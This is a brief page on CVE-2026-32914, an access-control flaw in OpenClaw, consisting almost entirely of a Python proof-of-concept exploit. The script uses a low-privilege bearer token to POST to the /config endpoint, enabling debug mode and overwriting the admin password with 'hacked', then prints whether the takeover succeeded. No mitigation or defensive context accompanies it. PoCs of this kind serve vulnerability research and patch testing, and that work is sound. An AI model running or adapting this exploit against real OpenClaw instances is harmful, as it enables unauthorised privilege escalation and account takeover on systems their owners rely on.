CVE-2026-32914 OpenClaw访问控制漏洞

import requests def exploit_openclaw(target_url, token): """ PoC for CVE-2026-32914: Exploit insufficient access control in /config endpoint. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Attempt to modify owner-only configuration payload = { "debug_enabled": True, "admin_password": "hacked" } try: # The endpoint /config should be owner-only, but lacks checks response = requests.post(f"{target_url}/config", json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Privileged configuration modified.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "http://vulnerable-openclaw-instance.com" # Low privilege token (command authorized but not owner) auth_token = "LOW_PRIVILEGE_USER_TOKEN" exploit_openclaw(target, auth_token)